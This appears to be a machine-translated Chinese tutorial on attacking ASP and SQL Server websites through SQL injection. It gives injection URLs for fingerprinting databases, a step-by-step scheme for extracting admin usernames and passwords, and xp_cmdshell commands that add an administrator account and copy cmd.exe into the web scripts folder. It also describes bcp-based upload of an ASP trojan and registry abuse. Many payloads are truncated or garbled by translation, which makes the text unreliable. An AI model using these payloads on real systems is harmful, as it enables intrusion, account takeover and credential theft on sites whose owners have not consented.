據統計,70%以上的網站使用ASP+Access或SQLServer,20%使用PHP+MySQL,其余不到10%。本文以SQL-SERVER+ASP為例,闡述了SQL註入的原理、方法和過程。(PHP註入的文章是NB聯盟的另壹位朋友zwell寫的。)
SQL註入進攻的總體思路是:
l發現SQL註入的位置;
l判斷後臺數據庫類型;
l確定XP_CMDSHELL的可執行條件。
l發現網絡虛擬目錄
l上傳ASP木馬;
l獲得管理員權限;
第壹,對SQL註入漏洞的判斷
壹般來說,ASP動態網頁中的HTTP://xxx.xxx.xxx/abc.asp?壹般以如下形式存在:id=XX等參數,有時壹個動態網頁中可能只有壹個參數,有時可能有n個參數,有時是整數參數,有時是字符串參數,不能壹概而論。簡而言之,只要是帶參數的動態網頁,並且這個網頁訪問了數據庫,就有可能存在SQL註入。如果ASP程序員沒有安全意識,沒有進行必要的字符過濾,就很有可能出現SQL註入。
為了全面了解動態網頁回答的信息,請先調整IE的配置。勾選IE菜單-工具-互聯網選項-高級-顯示友好的HTTP錯誤信息。
為了解釋清楚這個問題,讓我們以HTTP://xxx.xxx.xxx/abc.asp?為例。P=YY,例如,YY可以是整數或字符串。
1,整數參數的判斷
當輸入參數YY是整數時,abc.asp中的原始SQL語句通常如下所示:
Select * from表名,其中field =YY,這樣就可以使用以下步驟來測試SQL註入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?P=YY '(附上單引號),abc.ASP的SQL語句就變成了。
' select * from table name where field = YY ',abc.asp運行異常;
②HTTP://xxx.xxx.xxx/abc.asp? P = YY,1 = 1,abc.asp運行正常,與HTTP://xxx.xxx.xxx/abc.asp?. P = YY運行結果相同;
③HTTP://xxx.xxx.xxx/abc.asp? P = YY且1 = 2,abc.asp運行異常;
如果完全滿足以上三個步驟,那麽abc.asp就壹定存在壹個SQL註入漏洞。
2.字符串參數的判斷
當輸入參數YY是壹個字符串時,abc.asp中的原始SQL語句通常如下所示:
Select * from表名,其中field ='YY ',這樣就可以使用以下步驟來測試SQL註入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?P=YY '(附上單引號),abc.ASP的SQL語句就變成了。
' select * from table name where field = YY ',abc.asp運行異常;
②HTTP://xxx.xxx.xxx/abc.asp? p = YY & amp;鈮...39;1' =' 1 ',abc.asp運行正常,與HTTP://xxx.xxx.xxx/abc.asp?. P = YY運行結果相同;
③HTTP://xxx.xxx.xxx/abc.asp? p = YY & amp;鈮...39;1' =' 2 ',abc.asp運行異常;
如果完全滿足以上三個步驟,那麽abc.asp就壹定存在壹個SQL註入漏洞。
3.特殊情況的處理
有時候ASP程序員會過濾掉單引號之類的字符,以防止SQL註入。這個時候,妳可以通過以下幾種方式來嘗試。
①大小寫混合法:由於VBS不區分大小寫,程序員過濾時通常會過濾全大寫字符串或全小寫字符串,大小寫混合往往被忽略。比如用select代替SELECT、SelecT等。;
(2) UNICODE方法:在IIS中,使用UNICODE字符集實現國際化,我們完全可以將IE中輸入的字符串轉換成UNICODE字符串進行輸入。例如+=%2B,空間=%20等等。URLEncode的信息見附件壹;
(3) ASCII碼法:輸入字符的全部或部分可以用ASCII碼代替,如U=chr(85),a=chr(97)等。ASCII信息見附件二;
其次,區分數據庫服務器的類型
壹般來說,ACCESS和SQL-SERVER是最常用的數據庫服務器。雖然都支持T-SQL標準,但還是有區別的,不同的數據庫有不同的攻擊方式,必須區別對待。
1,使用數據庫服務器系統變量來區分。
SQL-SERVER有壹些系統變量,如user和db _ name()。利用這些系統值,不僅可以判斷SQL-Server,還可以得到很多有用的信息。比如:
①HTTP://xxx.xxx.xxx/abc.asp? p = YY和用戶& gt0不僅可以判斷是否是SQL-SERVER,還可以得到當前連接到數據庫的用戶名。
②HTTP://xxx.xxx.xxx/abc.asp? p = YY & amp;n...db _ name()& gt;0不僅可以判斷是否是SQL-SERVER,還可以得到當前使用的數據庫名稱;
2、使用系統表
ACCESS的系統表是msysobjects,在WEB環境中沒有訪問權限,而SQL-SERVER的系統表是sysobjects,在WEB環境中有訪問權限。對於以下兩個語句:
①HTTP://xxx.xxx.xxx/abc.asp? p = YY和(select count(*) from sysobjects)>0
②HTTP://xxx.xxx.xxx/abc.asp? p = YY和(從msysobjects中選擇count(*))& gt;0
如果數據庫是SQL-SERVE,第壹個,abc.asp肯定運行正常,第二個異常;如果是接入,兩者都會不正常。
3.MSSQL的三個關鍵系統表
Sysdatabases系統表:Microsoft SQL Server上的每個數據庫在表中占壹行。首次安裝SQL Server時,sysdatabases包含master、model、msdb、mssqlweb和tempdb數據庫的條目。該表僅存儲在master數據庫中。該表存儲在master數據庫中。這個表中存儲了什麽信息?這壹點非常重要。他確實保存了所有的庫名,以及庫id和壹些相關信息。
這裏我給妳壹個有用的字段名和相關描述的列表。Name //表示庫的名稱。
Dbid //表示庫的id,Dbid是從1到5的系統性。它們是:master、model、msdb、mssqlweb和tempdb。使用select * from master . dbo . sysdatabases,可以找出所有的庫名。
Sysobjects:SQL-SERVER的SQL-SERVER數據庫有這個系統表,存儲了數據庫中創建的所有對象,如約束、默認值、日誌、規則、存儲過程等。每個對象在表中占壹行。以下是該系統表的字段名稱和相關描述。
名稱、id、xtype、uid和狀態:分別是對象名稱、對象id、對象類型、所有者對象的用戶ID和對象狀態。
對象類型(xtype)。可以是下列對象類型之壹:
C =檢查約束
D =默認值或默認約束
F =外鍵約束
L =對數
FN =標量函數
IF =嵌入式表函數
P =存儲過程
PK =主鍵約束(k型)
RF =復制過濾器存儲過程
S =系統表
TF =表格功能
TR =觸發器
U =用戶表
UQ =唯壹約束(類型k)
V =視圖
X =擴展存儲過程
當xtype =' u '且status >時;0表示用戶創建的表,對象名是表名,對象ID是表的ID值。
使用:select * from chouyfd . dbo . sysobjects其中xtype =' u '且status > 0可以列出庫ChouYFD中所有用戶創建的表名。
Syscolumns:每個表和視圖中的每壹列在表中占壹行,存儲過程中的每個參數也在表中占壹行。該表位於每個數據庫中。主要字段有:
Name,id,colid:分別是字段名、表id號和字段ID號,其中ID是我們剛剛用sysobjects得到的表的ID號。
使用:select * from ChouYFD . dbo . sys columns其中ID = 123456789獲取chouyfd中所有字段的列表。桌子的ID是123456789。
第三,確定XP_CMDSHELL的可執行情況
如果當前連接數據的帳號有SA權限,並且master.dbo.xp_cmdshell擴展存儲過程(調用這個存儲過程可以直接使用操作系統的shell)可以正確執行,那麽通過下面的方法就可以完全控制整個計算機,後續的所有步驟都可以省去。
HTTP://xxx.xxx.xxx/abc.asp? p = YY & amp;鈮...呃& gt0 abc.asp執行異常,但可以獲取當前連接的數據庫的用戶名(如果顯示dbo,則表示SA)。
2、HTTP://xxx.xxx.xxx/abc.asp? p = YY...me()& gt;0 abc.asp執行異常,但可以獲取當前連接的數據庫名稱。
3、HTTP://xxx.xxx.xxx/abc.asp? p = YY;Execmaster..XP _ cmdshellnet useraabbb/add-(master是SQL-SERVER的主數據庫;名稱中的分號表示SQL-SERVER執行完分號之前的語句名稱,並繼續執行其後的語句;-號是註釋,表示後面的壹切都只是註釋,系統不執行。)可以直接添加操作系統賬號aaa,密碼bbb。
4、HTTP://xxx.xxx.xxx/abc.asp? p = YY;Execmaster..XP _ cmdshellnet本地組administrators aaa/add-將新添加的帳戶AAA添加到administrator s組。
5、HTTP://xxx.xxx.xxx/abc.asp? p = YY;back uup database database name to disk = ' c:\ inetpub \ wwwroot \ save . db '會將獲取的數據內容全部備份到WEB目錄下,然後用HTTP下載這個文件(當然要先知道WEB虛擬目錄)。
6.通過復制CMD創建UNICODE漏洞。
HTTP://xxx.xxx.xxx/abc.asp? p = YY;可執行程序的擴展名...dbo . XP _ cmdshell copyc:\ win nt \ system32 \ cmd . exec:\ inetpub \ scripts \ cmd.exe創建壹個UNICODE漏洞,通過這個漏洞的利用方法,完成對整個電腦的控制(當然首先要知道WEB虛擬目錄)。
第四,發現WEB虛擬目錄
只有找到WEB虛擬目錄,才能確定放置ASP木馬的位置,進而獲得用戶權限。有兩種方法更有效。
壹種是憑經驗猜測。壹般來說,WEB虛擬目錄是:c:\ inetpub \ wwwroot;d:\ inetpub \ wwwroot;E:\inetpub\wwwroot等。,可執行虛擬目錄為:c:\ inetpub \ scripts;d:\ inetpub \ scripts;E:\inetpub\scripts等。
二是遍歷系統的目錄結構,分析結果,找到WEB虛擬目錄;
首先創建壹個臨時表:temp。
HTTP://xxx.xxx.xxx/abc.asp? p = YY;創造& ampn...mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num 3 nvarchar(255));-
接下來:
(1)我們可以使用xp_availablemedia獲取所有當前驅動器,並將其存儲在temp表中:
HTTP://xxx.xxx.xxx/abc.asp? p = YY;插入溫度...ter . dbo . XP _ available media;-
我們可以通過查詢temp的內容來獲得驅動器列表和相關信息。
(2)我們可以使用xp_subdirs獲取子目錄列表,並將其存儲在temp表中:
HTTP://xxx.xxx.xxx/abc.asp? p = YY;插入到temp(i...dbo . XP _ subdirs ' c:\ ';-
(3)我們還可以使用xp_dirtree獲取所有子目錄的目錄樹結構,並將其插入到temp表中:
HTTP://xxx.xxx.xxx/abc.asp? p = YY;插入到temp(id,num 1)exec master . dbo . XP _ dirtree ' c:\ ';-
這樣,您可以成功瀏覽所有目錄(文件夾)列表:
如果我們需要查看文件的內容,我們可以執行xp_cmdsell:
HTTP://xxx.xxx.xxx/abc.asp? p = YY;插入到temp(id) exec...nbsp鍵入c:\ web \ index . ASP ';-
使用“bulk insert”語法將文本文件插入到臨時表中。如:來自“c: \ inetpub \ wwwroot \ index.asp”的大容量插入temp (id)
瀏覽臨時查看index.asp文件的內容!通過分析各種ASP文件,可以得到很多系統信息,網站建設和管理信息,甚至可以得到SA帳號的連接密碼。
當然,如果xp _ cmshell可以執行,我們可以用它來完成:
HTTP://xxx.xxx.xxx/abc.asp? p = YY;插入到temp(id)和amp(=NationalBureauofStandards)國家標準局...cmdshell“dir c:\”;-
HTTP://xxx.xxx.xxx/abc.asp? p = YY;插入到temp(id)和ampn...p_cmdshell '目錄c:\ *。ASP/s/a ';-
通過xp_cmdshell,我們可以看到我們想要的壹切,包括W3svc。
HTTP://xxx.xxx.xxx/abc.asp? p = YY;插入temp(id)exec master . dbo . XP _ cmdshe...' ub\AdminScripts\adsutil.vbs枚舉w3svc '
但是,如果沒有SA權限,我們仍然可以使用。
HTTP://xxx.xxx.xxx/abc.asp? p = YY;插入到temp(id,num 1)exec master . dbo . XP _ dirtree ' c:\ ';-
註意:
1.每次瀏覽後,TEMP中的所有內容都應該被刪除。刪除方法如下:
HTTP://xxx.xxx.xxx/abc.asp? p = YY;從temp中刪除;-
2.瀏覽臨時表的方法是:(假設TestDB是當前連接的數據庫的名稱)
HTTP://xxx.xxx.xxx/abc.asp? p = YY和(選擇頂部& amp...nbsptestdb . dbo . temp)& gt;0來獲取表TEMP中第壹條記錄的id字段的值,並將其與壹個整數進行比較。顯然,abc.asp工作異常,但id字段的值可以在異常中找到。假設發現的表名是xyz,那麽
HTTP://xxx.xxx.xxx/abc.asp? p = YY和(選擇top 1 id from...ere id不在(' XYZ ')& gt;0獲取表TEMP中第二條記錄的id字段的值。
五、上傳ASP木馬
所謂ASP木馬,就是將具有特殊功能的ASP代碼,放入WEB虛擬目錄的腳本中,遠程客戶可以通過IE執行,進而獲得系統的用戶權限,實現對系統的初始控制。上傳ASP木馬壹般有兩種有效方式:
1,使用WEB的遠程管理功能
為了方便維護,許多網站都提供了遠程管理的功能。還有很多網站,內容就是不同的用戶有不同的訪問權限。為了控制用戶的權限,每個人都有壹個網頁,需要用戶名和密碼。只有輸入正確的值,才能進行下壹步的操作,才能實現對WEB的管理,比如上傳下載文件、瀏覽目錄、修改配置等。
因此,如果獲得正確的用戶名和密碼,不僅可以上傳ASP木馬,有時甚至可以直接獲得用戶瀏覽系統的權限,可以省去上壹步發現WEB虛擬目錄的復雜操作。
用戶名和密碼通常存儲在壹個表中。找到這個表並閱讀它的內容就能解決問題。下面給出兩種有效的方法。
壹、註射方法:
理論上,身份驗證網頁中會有壹些類型,例如:
在select * from admin其中username =' XXX '和password =' yyy '的語句中,如果在語句正式運行之前沒有進行必要的字符過濾,就很容易實現SQL註入。
如果在用戶名文本框中輸入:ABC '或1 = 1-在密碼框中輸入:123,SQL語句將變成:
Select * from admin其中username =' ABC '或1 = 1,password =' 123 '無論用戶輸入什麽用戶名和密碼,該語句總能正確執行,用戶可以輕松欺騙系統,獲得合法身份。
b、猜測解決方案:
基本思路是:猜測所有數據庫名稱,猜測數據庫中的每個表名,分析可能存儲用戶名和密碼的表名,猜測表中的每個字段名,猜測表中每條記錄的內容。
我猜所有的數據庫名稱
HTTP://xxx.xxx.xxx/abc.asp? p = YY和(select count(*)from master . dbo . sysdatabases where name & gt;1且dbid = 6)& lt;& gt0因為dbid的值範圍是從1到5,所以由系統使用。所以用戶自身建設必須從6開始。我們提交了名稱& gt1 (name name字段是字符型字段,和數字比較會出錯),abc.asp工作異常,可以獲得第壹個數據庫名稱。類似地,通過將DBID更改為7,8,9,10,11,12,可以獲得所有數據庫名稱...
通過以下假設獲得的數據庫名稱是TestDB。
我猜數據庫中用戶名表的名稱
猜測解決方案:這種方法是根據個人經驗猜測表名。壹般來說,users、users、members、userlist、memberlist、userinfo、manager、admin、adminuser、systemuser、systemusers、sysusers、sysaccounts等等。從判決來看。
HTTP://xxx.xxx.xxx/abc.asp? P = yyand(select count(*)from testdb . dbo . table name)> 0如果表名存在,abc.asp正常工作,否則異常。重復這個循環,直到猜出系統帳戶表的名稱。
讀取方法:SQL-SERVER有壹個表sysobjects,用於存儲系統核心信息。所有表、視圖和其他關於庫的信息都存儲在該表中,並且可以通過WEB訪問該表。
當xtype =' u '且status >時;0代表用戶創建的表。通過發現和分析每個用戶創建的表和名稱,可以獲得用戶名表的名稱。基本實現方法如下:
①HTTP://xxx.xxx.xxx/abc.asp? p = YY和(從TestD中選擇top 1名稱...type='U '和status & gt0)>;0獲取第壹個用戶創建的表的名稱,並將其與壹個整數進行比較。顯然,abc.asp工作異常,但表的名字可以在異常中找到。假設發現的表名是xyz,那麽
②HTTP://xxx.xxx.xxx/abc.asp? p = YY和(從testdb . dbo . sysobjects & amp;...tatus & gt0和名稱不在(' XYZ ')& gt;0可以獲取第二個用戶創建的表的名稱,同樣,您可以獲取由創建的所有表的名稱。
根據表名,壹般可以認定該表的用戶存儲了用戶名和密碼。讓我們假設這個表名為Admin。
l猜測用戶名字段和密碼字段名稱。
admin表中必須有壹個用戶名字段和壹個密碼字段。只有得到這兩個字段的名稱,才能得到這兩個字段的內容。如何得到他們的名字?也有兩種方式。
猜測解法:這種方法是根據個人經驗猜測字段名。壹般來說,用戶名字段的名稱比較常用:用戶名、姓名、用戶、賬號等。常用的密碼字段名稱有:password、pass、pwd、passwd等。從判決來看。
HTTP://xxx.xxx.xxx/abc.asp? P = YY和(從TestDB.dbo.admin中選擇計數)& gt0 select count(字段名)從表名語句中獲取表中的行數,所以如果字段名存在,abc.asp正常工作,否則異常。重復這個循環,直到猜出兩個字段的名稱。
閱讀方法:基本實現方法是
HTTP://xxx.xxx.xxx/abc.asp? p = YY和(選擇...me(object_id('admin '),1)from testdb . dbo . sysobjects)& gt;0 。select top 1 col _ name(object _ id(' admin '),1)from testdb . dbo . sysobjects是從sysobjects獲取的已知表名的第壹個字段名。與整數相比,很明顯abc.asp工作異常,但異常中可以找到字段名。將col _ name (object _ id ('admin '),1)中的1替換為2,3,4,5,6...獲取所有字段名。
我猜用戶名和密碼
猜測用戶名和密碼內容的最常見、最有效的方法是:
ASCII碼的逐字解碼:這種方法雖然慢,但肯定是可行的。基本思路是先猜測字段的長度,再依次猜測每壹位的值。猜測用戶名的方法與猜測密碼的方法相同。這裏舉例說明了猜測用戶名的過程。
HTTP://xxx.xxx.xxx/abc.asp? p = YY和(選擇頂部& ampn...nbspfrom testdb . dbo . admin)= x(x = 1,2,3,4,5,...n,username是用戶名字段的名稱,admin是表的名稱)。如果x是某個值I,並且abc.asp運行正常,I就是第壹個用戶名的長度。例如,當輸入
當p =時,HTTP://xxx.xxx.xxx/abc.asp? Abc.asp正常運行(選擇頂部...e) from testdb.dbo.admin) = 8,則第壹個用戶名的長度為8。
HTTP://xxx.xxx.xxx/abc.asp? P = YY和(選擇...testdb.dbo.admin的ascii (substring (username,m,1))= n(m的值介於1和上壹步得到的用戶名的長度之間,當m=1,2,3時,...,分開猜。n的值是1~9,a~z,A~Z的ASCII值,即1到128之間的任意值;Admin是系統用戶帳戶表的名稱)。如果n是某個值I,abc.asp運行正常,那麽I對應的ASCII碼就是用戶名的某個值。例如,當輸入
HTTP://xxx.xxx.xxx/abc.asp?當p = y and(sel...ASCII (substring (username,3,1))from testdb . dbo . admin)= 80,abc.asp運行正常,那麽用戶名的第三位是p(p的ASCII為80);
HTTP://xxx.xxx.xxx/abc.asp?當p = y and(sel...ascii(testdb . dbo . admin中的substring (username,9,1))= 33,abc.asp運行正常,所以用戶名的第9位是!(!的ASCII碼是33);
猜出第壹個用戶名和密碼後,可以用同樣的方法猜出所有其他用戶名和密碼。註意:有時獲得的密碼可能是MD5等加密的信息。,而且需要用專門的工具解密。或者先改密碼,用完後再改回來。請參見以下說明。
簡單方法:猜測用戶名
HTTP://xxx.xxx.xxx/abc.asp? p = YY和(選擇top 1...o.admin,其中用戶名& gt1),flag是管理表中的壹個字段,username是壹個用戶名字段。此時,abc.asp工作異常,但可以獲得用戶名的值。用和上面壹樣的方法,妳可以得到第二個用戶名,第三個用戶名等等,直到表中所有的用戶名。
猜測用戶密碼:HTTP://xxx.xxx.xxx/abc.asp? p = YY和(選擇頂部1 & amp;鈮...B.dbo.admin其中pwd & gt1),flag是admin表中的壹個字段,pwd是壹個密碼字段。此時abc.asp工作異常,但能得到pwd的值。和上面壹樣,可以得到第二個用戶名的密碼,第三個用戶的密碼,以此類推,直到表中所有用戶的密碼。密碼有時用MD5加密,並且可以更改。
HTTP://xxx.xxx.xxx/abc.asp? p = YY;update TestDB.dbo.admin set pwd= '...其中用戶名= ' www-(1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改為1;Www是已知的用戶名)
當然,可以用同樣的方法將密碼更改為其原始值。
2、利用表格內容轉化為文件的功能
SQL有BCP命令,可以將表的內容導入到文本文件中,並放在指定的位置。利用這個函數,我們可以先建立壹個臨時表,然後在表中逐行輸入壹個ASP木馬,再用BCP命令導出,形成壹個ASP文件。
命令行格式如下:
Bcp從文本中選擇*..foo query c:\ inetpub \ wwwroot \ run command . ASP-c-s localhost-u sa-p foobar(' s '參數是執行查詢的服務器,' u '參數是用戶名,' p '參數是密碼,最後上傳壹個來自runcommand.asp的木馬)。
六、獲得系統的管理員權限
ASP木馬只有用戶權限,為了獲得對系統的完全控制,還需要系統的管理員權限。我們做什麽呢有許多方法可以提高權限:
上傳特洛伊木馬並修改。自動啟動的ini文件(壹旦重啟就死了);
將CMD.exe復制到腳本中,人為制造UNICODE漏洞;
下載SAM文件,破解得到OS的所有用戶名和密碼;
等等,根據系統的具體情況,可以采用不同的方法。
七、幾種SQL-SERVER特殊手段
1,使用xp_regread擴展存儲過程修改註冊表。
[xp_regread]另壹個有用的內置存儲過程是xp_regXXXX類的函數集合(Xp_regaddmultistring,Xp_regdeletekey,Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues,xp_regread,Xp_regremovemultistring,Xp_regwrite)。攻擊者可以利用這些函數修改註冊表,如讀取SAM值、允許建立空連接、自動啟動程序等。比如:
' exexp _ regreadhkey _ local _ machine,' system \ current control set \ services \ lanman server \ parameters ',' nullsessionshares '確定服務器上可用的會話連接類型。
Exexp _ regenumvalues HKEY _本地_機器,'系統\當前控制集\服務\ SNMP \參數\有效社區'顯示服務器上所有SNMP社區的配置。利用這些信息,攻擊者可以重新配置同壹網絡中的網絡設備。
2.使用其他存儲過程來更改服務器。
Xp_servicecontrol程序允許用戶啟動和停止服務。比如:
(執行主管..xp_servicecontrol '開始','計劃'
執行主機..xp_servicecontrol“開始”,“服務器”)
Xp_availablemedia顯示機器上有用的驅動器。
Xp_dirtree允許妳得到壹個目錄樹。
Xp_enumdsn枚舉服務器上的ODBC數據源。
Xp_loginconfig獲取服務器安全信息
Xp_makecab允許用戶在服務器上創建壹個壓縮文件。
Xp_ntsec_enumdomains列出了服務器可以進入的域。
Xp_terminate_process提供進程的進程ID,終止進程。
附錄1: URLUnicode表(節選,主要是非字母字符,RFC1738)
特殊字符URL編碼的含義
#用於標記特定的文檔位置%23
%編碼特殊字符%25
& amp分隔不同的變量值對%26
+表示變量值中的空間%2B。
/表示目錄路徑%2F。
\ %5C
=用於連接鍵和值%3D
指示查詢字符串%3F的開頭。
空間%20
。期間%2E
:冒號%3A
附錄二:ASCII表(節選)
十六進制字符
80 50便士
32 20(空格)81 51 Q
33 21 !82 52 R
南緯34 22 83 53
35 23 # 84 54噸
36 24 $內容$ nbsp85 55美元
37 25 % 86 56伏
38 26 & amp87 57 W
39 27 ' 88 58 X
40 28 ( 89 59 Y
41 29 ) 90 5A Z
42 2A * 91 5B [
43 2B + 92 5C \
44 2C,93 5D ]
45 2D - 94 5E ^
46號。95 5F _
47 2F / 96 60 '
48 30 0 97 61 a
49 31 1 98 62 b
50 32 2 99 63 c
51 33 3 100 64 d
52 34 4
53 35 5 101 65 e
54 36 6 102 66 f
55 37 7 103 67克
56 38 8 104 68小時
57 39 9 105 69 i
58 3A : 106 6A j
59 3B;107 6B k
60 3C & lt;108 6C l
61 3D = 109 6D米
62 3E & gt;110 6E n
63號?111 6F o
112 70便士
64 40 @ 113 72問
65 41 A 114 72 r
66 42 B 115 73 s
67 43 C 116 74 t
68 44 D 117 75 u
69 45 E 118 76 v
70 46 F 119 77 w
71 47克120 78 x
72 48小時121 79年
73 49 I 122 7A z
74 4A J 123 7B {
75 4B K 124 7C |
76 4C L 125 7D }
77 4D M 126 7E ~
78號郵編127 7F?
79 4F O 128 80